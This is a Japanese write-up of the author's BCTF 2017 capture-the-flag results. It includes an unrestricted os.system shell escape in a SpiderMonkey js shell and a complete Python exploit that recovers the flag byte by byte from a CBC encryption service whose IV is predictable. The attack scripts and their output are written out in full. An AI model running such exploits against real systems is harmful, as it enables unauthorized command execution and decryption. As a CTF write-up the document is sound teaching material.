BCTF 2017に参加。767ptで62位。
Checkin (Misc 69)
スコアサーバに表示されているトークンを送る。
$ nc 202.112.51.247 6666 Connection UUID:[redacted] Token:[redacted] bctf{N0_PWN_N0_FUN}
monkey (Pwn 327)
Spidermonkeyのjsshellが動いている。 helpを見るとos.systemがあり、特に制限なく使うことができた。
$ nc 202.112.51.248 2333 js> help() (snip) os - interface object os.getenv os.getpid os.system os.spawn os.kill os.waitpid os.file os.path (snip) js> os.system("ls") os.system("ls") bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 log lost+found media mnt opt proc root run sbin snap srv sys tmp usr var vmlinuz vmlinuz.old js> os.system("ls /home") os.system("ls /home") js js> os.system("ls /home/js") os.system("ls /home/js") bin dev flag js lib lib32 lib64 js> os.system("cat /home/js/flag") os.system("cat /home/js/flag") bctf{319c1b47f786c7b99a757da74fd38408}
Hulk (Crypto 869)
ブロック長128 bitのCBCモード暗号。 2回暗号化でき、1回目の平文にはフラグが連結される。 また、2回目のIVは1回目の暗号文の最後のブロックになっている。
$ nc 202.112.51.217 9999 Give me the first hex vaule to encrypt: 0x41414141 plaintext: 0x41414141|flag ciphertext: 0x78d67c1f9b25f8a1320bf84c1e037f2cdeeb26184517dc48585c03e815f18c760df6094ae64c620f55be51716eb04740 Give me the second hex vaule to encrypt: 0x41414141 plaintext: 0x41414141 ciphertext: 0xc99784c01a45051c43f42e1f8b981bf6 $ python Python 2.7.12 (default, Nov 19 2016, 06:48:10) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> len('c99784c01a45051c43f42e1f8b981bf6')*4 128
1回目に与える文字数を変えてみると、10文字のとき最後のブロックが増える。 このとき、最後のブロックがpaddingのみであると仮定し、2回目の平文を調整すると実際に暗号化後のブロックが一致する。
from minipwn import * s = socket.create_connection(('202.112.51.217', 9999)) print recvuntil(s, '0x') plain1 = '00' * 10 sendline(s, plain1) m = expect(s, r'ciphertext: 0x(\w+)\n') cipher1 = m.group(1) cipher1_blocks = re.findall(r'(\w{32})', cipher1) print cipher1_blocks print recvuntil(s, '0x') test = '\x10'*16 plain2 = xor(test, cipher1_blocks[-2].decode('hex')) plain2 = xor(plain2, cipher1_blocks[-1].decode('hex')) plain2 = plain2.encode('hex') sendline(s, plain2) m = expect(s, r'ciphertext: 0x(\w+)\n') cipher2 = m.group(1) cipher2_blocks = re.findall(r'(\w{32})', cipher2) print cipher2_blocks interact(s)
$ python test.py Give me the first hex vaule to encrypt: 0x ['ff621ece7133119b0ce0be64b4be3313', '8c920847fa1f92f136d12c3c239adaee', 'e5488568e852bd3cced52303c75b3eef', '036e930a2d9c9f176e661cad603b41de'] Give me the second hex vaule to encrypt: 0x ['036e930a2d9c9f176e661cad603b41de', '516bc85ad71223c1281a18737270b4f9'] *** Connection closed by remote host ***
よって、1回目の入力に追加されるフラグは 3*16 - 10 = 38
文字であることがわかる。
あとは、padding oracle attackの要領で、後ろから1文字ずつ特定していくことができる。
from minipwn import * def attack(n, test): s = socket.create_connection(('202.112.51.217', 9999)) recvuntil(s, '0x') plain1 = '00' * (10+n) sendline(s, plain1) m = expect(s, r'ciphertext: 0x(\w+)\n') cipher1 = m.group(1) cipher1_blocks = re.findall(r'(\w{32})', cipher1) recvuntil(s, '0x') test += chr(16-len(test)%16)*(16-len(test)%16) k = len(test)/16 plain2 = xor(test, cipher1_blocks[-k-1].decode('hex')) plain2 = xor(plain2, cipher1_blocks[-1].decode('hex')) plain2 = plain2.encode('hex') sendline(s, plain2) m = expect(s, r'ciphertext: 0x(\w+)\n') cipher2 = m.group(1) cipher2_blocks = re.findall(r'(\w{32})', cipher2) s.close() return cipher1_blocks[-k] == cipher2_blocks[0] chars = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`|~ ' s = '' while len(s) < 38: for c in chars: s2 = c + s if attack(len(s2), s2): s = s2 print s break
$ python test.py } 5} 05} 905} (snip) ctf{3c1fffb76f147d420f984ac651505905} bctf{3c1fffb76f147d420f984ac651505905}
所感
他に解きたかった問題は以下。
- Baby Sqli (Web 161)
- babyuse (Pwn 273)
- foolme (Misc 384)